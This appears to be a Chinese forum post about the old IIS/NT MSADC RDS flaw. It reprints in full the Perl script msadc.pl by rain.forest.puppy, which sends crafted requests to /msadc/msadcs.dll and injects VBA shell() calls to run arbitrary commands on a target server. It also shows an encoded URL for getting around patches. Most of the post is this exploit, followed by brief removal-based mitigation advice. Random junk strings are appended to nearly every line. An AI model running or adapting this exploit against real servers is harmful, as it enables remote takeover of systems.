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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GgFi9Ffj  
$<)Yyi>6E  
涉及程序: &[|VZ[  
Microsoft NT server mjnUs-`W|  
K7vw3UwGN  
描述: Y\/gU8w/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 |E/L.gdP7  
7_KhV  
详细: (d2@Mz  
如果你没有时间读详细内容的话,就删除: q$ghLGz  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ES:!Vx9t0|  
有关的安全问题就没有了。 ;@4H5p  
&$fbP5uAZ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j,%EW+j$  
`kBnSio~  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ln#a<Rx.E7  
关于利用ODBC远程漏洞的描述,请参看: >N`6;gn*l  
_94s(~g:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #'o7x'n^  
msTB'0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Il~01|3+m  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2O""4_G  
M7y|EB))  
这里不再论述。 )xl6,bq3  
?H;{~n?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: cHvF*A  
!)OB@F%U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /nB'kg[h\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! uOk%AL>  
4B O %{  
@6xGJ,s  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 89eq[ |G_  
d;suACW  
#!perl %|Hp Bs#'  
# ,=w!vO5s  
# MSADC/RDS 'usage' (aka exploit) script jD< pIHau  
# H"YL k  
# by rain.forest.puppy M[Y4_$k<-  
# <4?*$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me cz.3|Lby  
# beta test and find errors! 5h_5Z~  
mb\t/p  
use Socket; use Getopt::Std; 'wQy]zm$  
getopts("e:vd:h:XR", \%args); ] V G?+  
mA{#]Yvf1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Z^6#4Q]YC  
CUhV$A#oo  
if (!defined $args{h} && !defined $args{R}) { !ng\` |8?  
print qq~ j]> uZalr  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d?Y-;-|8Qh  
-h <host> = host you want to scan (ip or domain) P\B3 y+)  
-d <seconds> = delay between calls, default 1 second LdTIR]  
-X = dump Index Server path table, if available $iJnxqn  
-v = verbose V,4.$<e  
-e = external dictionary file for step 5 6Dzs?P  
LDX*<(  
Or a -R will resume a command session af>3V(7  
#vnT&FN0[  
~; exit;} {OxWcK\2@h  
;h+q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :0Te4UE;P7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} U )Zt-og  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ]tVl{" .{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Zq?_dIX %  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KRk~w]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?V+wjw  
P>htQ  
if (!defined $args{R}){ $ret = &has_msadc; R7aXR\ R  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} STT2o=   
I6w/0,azC  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1i,4".h?M  
. "cmd /c "; K\sbt7~  
$in=<STDIN>; chomp $in; fA XE~  
$command="cmd /c " . $in ; {[3YJkrM  
Dc:DY:L^  
if (defined $args{R}) {&load; exit;} l P0k:  
iSd?N}2,I  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; m`9^.>]P  
&try_btcustmr; |3@=CE7G  
{E~l>Z88  
print "\nStep 2: Trying to make our own DSN..."; .~<]HAwq  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; y&rY0bm  
XtW_  
print "\nStep 3: Trying known DSNs..."; 4I ,o&TK  
&known_dsn; YC)hX'A\  
a!u3 HS-i  
print "\nStep 4: Trying known .mdbs..."; zz3 r<?#5  
&known_mdb; [:pl-_.C  
DcU C,  
if (defined $args{e}){ n0FYfqH  
print "\nStep 5: Trying dictionary of DSN names..."; + U5U.f%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } +u#Sl)F  
D=9}|b/  
print "Sorry Charley...maybe next time?\n"; `@\^m_!}  
exit; {,v: GMsm  
8nu> gA  
############################################################################## hT=f;6$  
*f*f&l%  
sub sendraw { # ripped and modded from whisker uHrb:X!q  
sleep($delay); # it's a DoS on the server! At least on mine... @U7Dunu*f  
my ($pstr)=@_; 51/sTx<Z}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Vj7Hgc-,  
die("Socket problems\n"); nt`<y0ta  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9RcM$[~  
select(S); $|=1; r /yHmEk&  
print $pstr; my @in=<S>; NEg>lIu<~  
select(STDOUT); close(S); IDmsz  
return @in; SY8U"Qc;9  
} else { die("Can't connect...\n"); }} R9E6uz.j  
P'FKk<  
############################################################################## Qg{WMlyOP  
!&0a<~ Wi  
sub make_header { # make the HTTP request )8]3kQffJ=  
my $msadc=<<EOT 4(sttd_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;(`e^IVf  
User-Agent: ACTIVEDATA ReqE?CeV  
Host: $ip 8q*";>*  
Content-Length: $clen MBv/  
Connection: Keep-Alive LH.%\TMN$  
4]u,x`6C  
ADCClientVersion:01.06 w=$'Lt!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 UGf6i"F  
N4+g("  
--!ADM!ROX!YOUR!WORLD! cP('@K=p  
Content-Type: application/x-varg M%;"c?g  
Content-Length: $reqlen :5<#X8>d  
.J:;_4x  
EOT %O Fj  
; $msadc=~s/\n/\r\n/g; Nc"NObe  
return $msadc;} 0w+5'lOg  
U_}hfLILi  
############################################################################## u m{e&5jk  
Xiw@  
sub make_req { # make the RDS request :4]J2U\@  
my ($switch, $p1, $p2)=@_; "<T ~jk"u  
my $req=""; my $t1, $t2, $query, $dsn; k?n]ZNlT  
BUV/twU)  
if ($switch==1){ # this is the btcustmr.mdb query cyHhy_~R  
$query="Select * from Customers where City=" . make_shell(); M0 L-u  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7>KQRLw  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} [DL|Ht>  
[{/$9k-aF?  
elsif ($switch==2){ # this is general make table query )ZeLaaP  
$query="create table AZZ (B int, C varchar(10))"; 79a9L{gso  
$dsn="$p1";} ^K/G5  
ofl'G]/$+  
elsif ($switch==3){ # this is general exploit table query _4Ii5CNNU  
$query="select * from AZZ where C=" . make_shell(); ~Q_F~0y  
$dsn="$p1";} Djyp3uUA/  
J[MVE4&  
elsif ($switch==4){ # attempt to hork file info from index server :=Nb=&lst  
$query="select path from scope()"; uh1S 7!^  
$dsn="Provider=MSIDXS;";} +yiU@K).0  
[}@n*D$  
elsif ($switch==5){ # bad query p^Agh  
$query="select"; fvO;lA>`  
$dsn="$p1";} "C& Jwm?  
9G+y.^/6  
$t1= make_unicode($query); !&\meS{  
$t2= make_unicode($dsn); !2wETs?  
$req = "\x02\x00\x03\x00"; |C|:i@c H  
$req.= "\x08\x00" . pack ("S1", length($t1)); a /QIJ*0  
$req.= "\x00\x00" . $t1 ; +{'lZa  
$req.= "\x08\x00" . pack ("S1", length($t2)); v/ eB,p  
$req.= "\x00\x00" . $t2 ; 9Dy)nm^  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {DSyV:   
return $req;} !4_!J (q%  
;i/"$K  
############################################################################## /jvO XS\M  
c'xUJhEL  
sub make_shell { # this makes the shell() statement QW,cn7  
return "'|shell(\"$command\")|'";} >b3@>W  
VmMh+)UZ  
############################################################################## (26Bs':M~  
qih6me8C  
sub make_unicode { # quick little function to convert to unicode Z%KL[R}^w;  
my ($in)=@_; my $out; /^~p~HKtx  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -S`TEX  
return $out;} E}Ljo  
\?r$&K]4  
############################################################################## a4:`2  
sK#H4y+<  
sub rdo_success { # checks for RDO return success (this is kludge) hl*MUD,  
my (@in) = @_; my $base=content_start(@in); |^>u<E5  
if($in[$base]=~/multipart\/mixed/){ IC\E,m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V;P1nL4L  
return 0;} }Z^FEd"y  
Zb}`sk#  
############################################################################## M\9IlV?'  
&^AzIfX}Gw  
sub make_dsn { # this makes a DSN for us B*32D8t`u  
my @drives=("c","d","e","f"); Ia=&.,xub  
print "\nMaking DSN: "; 6|%^pjX5  
foreach $drive (@drives) { JThk Wx  
print "$drive: "; <xXiJU+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . m9%yR"g9  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" sw[<VsxjR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4$ ..r4@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; yY'gx|\  
return 0 if $2 eq "404"; # not found/doesn't exist 3Gj(z:)b  
if($2 eq "200") { /7.wQeL9  
foreach $line (@results) { tP&{ J^G  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} b8eDD+ulk  
} return 0;} gQu\[e%mVo  
?`za-+<r<  
############################################################################## _F! :(@}  
#W_i{bdO  
sub verify_exists { (H'_KPK  
my ($page)=@_; G[ ,,L  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \a\^(`3a[  
return $results[0];} aeLBaS  
o]dK^[/*  
############################################################################## EPQ&?[6  
Dm&lSWW`/  
sub try_btcustmr { e6Wl7&@6  
my @drives=("c","d","e","f"); Ma% E&.ed  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 22l|!B%o  
GH [ U!J  
foreach $dir (@dirs) { U&w*Sb"  
print "$dir -> "; # fun status so you can see progress 6wa<'!   
foreach $drive (@drives) { TXA. 6e  
print "$drive: "; # ditto H't`Q&]a  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; GjG{qR  
$reqlenlen=length( "$reqlen" ); B .{8/.4  
$clen= 206 + $reqlenlen + $reqlen; P9 W<gIO  
Dh*~U :6$g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); L%TxP6z4A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} pyu46iE)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} E!:.G+SEl  
#-l!`\@  
############################################################################## `HE>%=]b  
T3=-UYx]  
sub odbc_error { .%-6&%1  
my (@in)=@_; my $base; Fcu Eeca  
my $base = content_start(@in); %:yHMEG]'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }Z~pfm_S  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8Sd?b5|G~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z:0-aDe M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K * xM[vO  
return $in[$base+4].$in[$base+5].$in[$base+6];} B^E2UNRA  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; gt].rwo"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }dV9%0s!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ctnAVm  
\9&YV;Ct  
############################################################################## I^rZgp<'i  
6)tB{:h&~0  
sub verbose { S jC)6mo  
my ($in)=@_; yHa:?u6  
return if !$verbose; 7J #g1  
print STDOUT "\n$in\n";} eH"qI2A  
JKEXYE  
############################################################################## ?yK%]1O  
RZcx4fL}x  
sub save { RPa?Nv?e  
my ($p1, $p2, $p3, $p4)=@_; O=4c eE mz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; TWl(\<&+)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 3G:NZ)p  
close OUT;} ,"v)vTt  
wj5qQ]WC  
############################################################################## =R"Eb1  
S)Ub/`f{s  
sub load { )'/nS$\E:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; j\jL[hG_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); s[vPH8qb  
@p=<IN>; close(IN); vTe$77n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .(gT+5[  
$target= inet_aton($ip) || die("inet_aton problems"); EU?&  
print "Resuming to $ip ..."; B.CH9M  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; YUP%K!k  
if($p[1]==1) { i-Ge *?  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; wfU&{7yt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "4Wp>B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Y;~~?[6  
if (rdo_success(@results)){print "Success!\n";} P!>{>r4  
else { print "failed\n"; verbose(odbc_error(@results));}} ,6%hu|Y*  
elsif ($p[1]==3){ xPn'yo  
if(run_query("$p[3]")){ K%aPl~e  
print "Success!\n";} else { print "failed\n"; }} #w%a m`+  
elsif ($p[1]==4){ mTI\,x%<OC  
if(run_query($drvst . "$p[3]")){ $)kBz*C[  
print "Success!\n"; } else { print "failed\n"; }} Nv*E .|G  
exit;} /: \VwH  
Mo?t[]L   
############################################################################## D-2v>l_  
h1G*y  
sub create_table { Cnc\sMDJ\B  
my ($in)=@_; <?=mLOo =  
$reqlen=length( make_req(2,$in,"") ) - 28; E<98ahZ?l  
$reqlenlen=length( "$reqlen" ); tNi% }~Z  
$clen= 206 + $reqlenlen + $reqlen; Tvksf!ba  
my @results=sendraw(make_header() . make_req(2,$in,"")); pJ)+}vascR  
return 1 if rdo_success(@results);  '!r+Tz  
my $temp= odbc_error(@results); verbose($temp); Jfixm=.6  
return 1 if $temp=~/Table 'AZZ' already exists/; } K hq  
return 0;} jU3;jm.)  
f>"!-3  
############################################################################## c],frhmyd  
67K RM(S  
sub known_dsn { b[&,%Sm+6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go BC$;b>IUA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &ttv4BC^r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "`$'tk[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7/U<\(V!g  
s&QBFyKtJ  
foreach $dSn (@dsns) { 35N/v G0  
print ".";  7KSGG1ts  
next if (!is_access("DSN=$dSn")); zw%n!wc_\  
if(create_table("DSN=$dSn")){ #)h ~.D{  
print "$dSn successful\n"; $ <>EwW  
if(run_query("DSN=$dSn")){ bVAgul=__  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { skC|io-Zv  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ;([tf;  
_:fO)gs|1  
############################################################################## D-b2E6 o6  
GJ^]ER-K  
sub is_access { r PRuSk-f  
my ($in)=@_; !>Qc2&ZV  
$reqlen=length( make_req(5,$in,"") ) - 28; vxilQp  
$reqlenlen=length( "$reqlen" ); L->f= 8L  
$clen= 206 + $reqlenlen + $reqlen; *3etxnQc  
my @results=sendraw(make_header() . make_req(5,$in,"")); ek;&<Z_ ]  
my $temp= odbc_error(@results); BJ.8OU*9]S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ,Dii?P  
return 0;} :(?hLH.W[  
0Z) ;.l^  
############################################################################## h,WY2Hr  
:z0>H5  
sub run_query { r~D~7MNl  
my ($in)=@_; R{OE{8;  
$reqlen=length( make_req(3,$in,"") ) - 28; :hhE=A>X  
$reqlenlen=length( "$reqlen" ); jcv1z v.  
$clen= 206 + $reqlenlen + $reqlen; S'-`\%@7  
my @results=sendraw(make_header() . make_req(3,$in,"")); QSs$   
return 1 if rdo_success(@results); TXh@  
my $temp= odbc_error(@results); verbose($temp); KZ<RDXVT  
return 0;} )T};Q:  
mP$G9R  
############################################################################## Jr>S/]"  
U3j~}H.D1  
sub known_mdb { b[[6X  
my @drives=("c","d","e","f","g"); ?lwQne8/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (P>eWw\0  
my $dir, $drive, $mdb; u0 oYb_Yv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6nWx>R<  
,M/#Q6P0}  
# this is sparse, because I don't know of many va/4q+1GfH  
my @sysmdbs=( "\\catroot\\icatalog.mdb", MkNURy>n&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `2(R}zUHN  
"\\system32\\certmdb.mdb", D "] [&m  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 9M7(_E;)B  
t{S{!SF4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $Z%aGc*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |gRgQGeB  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -IE P?NX  
"\\cfusion\\cfapps\\security\\realm_.mdb", )x:j5{>(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tj^:SW.0  
"\\cfusion\\database\\cfexamples.mdb", S_ -QvG2  
"\\cfusion\\database\\cfsnippets.mdb", 2eR+dT  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", sQw`U{JG  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", o? O,nD 6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^B!?;\4IM  
"\\cfusion\\database\\smpolicy.mdb", ;Y|~!%2~  
"\\cfusion\\database\cypress.mdb", 5fx,rtY2sQ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", > v!c\  
"\\website\\cgi-win\\dbsample.mdb", n\"LN3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7" STS7_  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" $H:h(ia:  
); #these are just Qdr-GODx  
foreach $drive (@drives) { :%b2;&A[  
foreach $dir (@dirs){ LI|HET_  
foreach $mdb (@sysmdbs) { FPUR0myCU  
print "."; g\{! 21M  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Mm7n?kb6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %1?V6&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ kdMS"iN8x  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |o=\9:wV  
} else { print "Something's borked. Use verbose next time\n"; }}}}} !>2\OSp!  
x^O2Lj,w\  
foreach $drive (@drives) { +l?ro[#6&.  
foreach $mdb (@mdbs) { 73z|'0.  
print "."; eW*ae;-  
if(create_table($drv . $drive . $dir . $mdb)){ |m 5;M$M)  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?! _pP|  
if(run_query($drv . $drive . $dir . $mdb)){ Ee\-q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; :0j`yo:w  
} else { print "Something's borked. Use verbose next time\n"; }}}} //5_E7Ehu$  
} w$;*~Qc  
r=H\4%P4  
############################################################################## 2au(8IWu  
Nx (pJp{S  
sub hork_idx { $0S"Lh{  
print "\nAttempting to dump Index Server tables...\n"; j _9<=Vu  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >.wd)  
$reqlen=length( make_req(4,"","") ) - 28; #M^Yh?~%w  
$reqlenlen=length( "$reqlen" ); ;6 qdOD6  
$clen= 206 + $reqlenlen + $reqlen; s>``- ]3  
my @results=sendraw2(make_header() . make_req(4,"","")); = 4WZr  
if (rdo_success(@results)){ Nl<,rD+KSD  
my $max=@results; my $c; my %d; ^}7t:  
for($c=19; $c<$max; $c++){ -QI`npsnV  
$results[$c]=~s/\x00//g; p+sPCF  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~5!TV,>ls  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f<sPh>n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d<'Yt|zt  
$d{"$1$2"}="";} @gjdyz  
foreach $c (keys %d){ print "$c\n"; } W>wi;Gf#  
} else {print "Index server doesn't seem to be installed.\n"; }} c2mt<DtWW  
27 TZ+?  
############################################################################## <$6'Mzf  
"sx&8H"  
sub dsn_dict { HeifFJn  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Y9L6W+=T  
while(<IN>){ N_k6UA9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; UR2)e{RXg  
next if (!is_access("DSN=$dSn")); A^@<+?  
if(create_table("DSN=$dSn")){ L.:QI<n  
print "$dSn successful\n"; _%TeTNY#  
if(run_query("DSN=$dSn")){ ^r :A^q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )9jQ_  
print "Something's borked. Use verbose next time\n";}}} / lM~K:  
print "\n"; close(IN);} (<JDD]J  
:Fd9N).%  
############################################################################## h}&IlDG  
N_Ld,J%g  
sub sendraw2 { # ripped and modded from whisker `h3}"js  
sleep($delay); # it's a DoS on the server! At least on mine... 9Zsb1 M!n>  
my ($pstr)=@_; 8si^HEQ8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~[y+B0I3  
die("Socket problems\n"); rPpAg  
if(connect(S,pack "SnA4x8",2,80,$target)){ ({nSs5)$  
print "Connected. Getting data"; Od]xIk+E  
open(OUT,">raw.out"); my @in; \` ^Tbn:  
select(S); $|=1; print $pstr; T|2%b*/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 5 t?2B]  
close(OUT); select(STDOUT); close(S); return @in; j4r,_lH^r  
} else { die("Can't connect...\n"); }} TC{Qu;`H+U  
g2<S4  
############################################################################## 3(*s|V"  
X3O$Sd(D  
sub content_start { # this will take in the server headers Z2jb>%  
my (@in)=@_; my $c; $[CA#AXE  
for ($c=1;$c<500;$c++) { 5@%-=87S  
if($in[$c] =~/^\x0d\x0a/){ 5m?$\h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } j:KQIwc  
else { return $c+1; }}} }/0dfes  
return -1;} # it should never get here actually yZ0ZP  
~RAH -]  
############################################################################## 2I 7`  
u`@FA?+E1  
sub funky { NT/B4'_@  
my (@in)=@_; my $error=odbc_error(@in); iX6jvnJ:/  
if($error=~/ADO could not find the specified provider/){ Q b{5*>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 9,eR=M]+:  
exit;} g9Gy3zk=  
if($error=~/A Handler is required/){ FN EmGz/4  
print "\nServer has custom handler filters (they most likely are patched)\n"; %{abRBny  
exit;} 4H)" d  
if($error=~/specified Handler has denied Access/){ /-4B)mL  
print "\nServer has custom handler filters (they most likely are patched)\n"; %\&dFwb  
exit;}} t+J6P)=  
Wj=ex3K3u.  
############################################################################## rXPx* /C  
VVl-cU  
sub has_msadc { NWK_(=n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ,x.)L=Cx8  
my $base=content_start(@results); g^UWf<xp  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ta., 4R&K  
return 0;} NYvj?>[y  
82!GM.b  
######################## ):ZumG#o  
}l!_m.#e  
Z@/5~p  
解决方案: !r0P\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll zRFM/IYC  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 }h6z&:qA[?  
*G41%uz  
拿出来充数 哈哈
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